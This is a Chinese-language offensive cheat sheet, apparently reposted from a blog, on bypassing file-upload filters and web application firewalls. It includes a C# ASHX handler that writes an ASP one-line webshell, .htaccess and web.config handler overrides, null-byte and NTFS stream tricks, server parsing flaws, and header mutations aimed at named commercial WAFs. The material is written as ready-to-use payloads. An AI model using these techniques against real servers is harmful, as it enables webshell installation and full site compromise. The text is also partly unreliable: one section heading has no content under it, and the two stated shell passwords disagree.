文件操作Bypass
作者:互联网
一、常用文件上传绕过
1、黑名单上传
常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
1、apache+php网站,上传.htaccess文件
执行如下命令:copy aaa.txt .htaccess
aaa.txt文本内容:
<FilesMatch "1111">
SetHandler application/x-httpd-php
</FilesMatch>
2、asp+IIS网站,上传web.config文件
文件内容如下:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Write, Execute, Script" />
</system.webServer>
</configuration>
3、文件扩展名绕过
php----->php2|php3|php4|php5
asp----->asp|asa|cer|cdx|aspx|ashx|ascx|asax
ashx文件内容如下:
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
//这里会在目录下生成一个test.asp的文件
StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
//这里是写入一句话木马 密码是:ptu
file1.Write("<%response.clear:execute request("put"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
4、Windows特性绕过
发送的http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性
5、利用NTFS ADS特性绕过
ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过。
| 上传文件名 | 服务器表面现象 | 生成的文件内容 |
| test.php::$DATA | test.php | <?php phpinfo();?> |
6、apache解析漏洞
未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则
继续向左识别,直到识别到合法后缀才进行解析。
所以上传 shell.php.aaa
2、白名单上传
1、00截断
php 版本小于 5.3.4
php .jpg 空格二进制20改为00(burp)
2、服务器解析漏洞
a、IIS6.0
该版本默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp。
b、IIS7.5/7.0
PHP CGI解析漏洞
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析。
图片马:copy 001.jpeg/b + test.php/a 2.jpg
c、Nginx解析漏洞
对于Ngnix的版本:
Nginx 0.5.×
Nginx 0.6.×
Nginx 0.7<=0.7.65 Nginx 0.8<=0.8.37
上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg.php进行请求
d、文件名长度绕过白名单限制
传送门:https://blog.51cto.com/eth10/2103563
3、绕过WAF上传
1、填充垃圾数据
Content-Dispostion:form-data;name='file1'ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;filename='shell.asp'
2、匹配字段
a、在boundary和=之间加一个空格
b、如果后面一段的boundary与前面的不一致,可能会绕过waf
内容如下
----aaaa,123456
传输虚假数据(图片)
----aaaa
传输真实数据
----aaaa--
----aaaa,123456--
3、多个Content-Dispostion
在IIS的环境下:
上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话,便会被绕过。
4、利用特性
a、上传test.php::$DATA
b、windows系统特性:
当上传一个文件的filename为shell.php{%80-%90}时,waf可能识别为.php{%80-%99}
4、绕过文件重命名
在filename='shell....asp'处,通过构造大量.符号来绕过文件重命名。
比如:ilename='shell.............................................asp'
二、文件上传绕过WAF
1、绕过安全狗4.0
1、在文件名中插入分号,空格,单引号
filename='sh;ell.php'
filename='sh ell.php'
filename='sh'ell.php'
传入多个filename字段
filename= ;filename='xx.php'
2、通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
3、通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
4、通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
5、HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php"
6、等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格
7、文件的内容处理
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;
2、绕过WTS-WAF
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.
php"
3、绕过百度云
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
4、绕过阿里云
原内容:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
修改后:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
三、文件下载常用路径
标签:文件,Disposition,form,filename,Content,Bypass,操作,php,data 来源: https://www.cnblogs.com/sakura521/p/15054162.html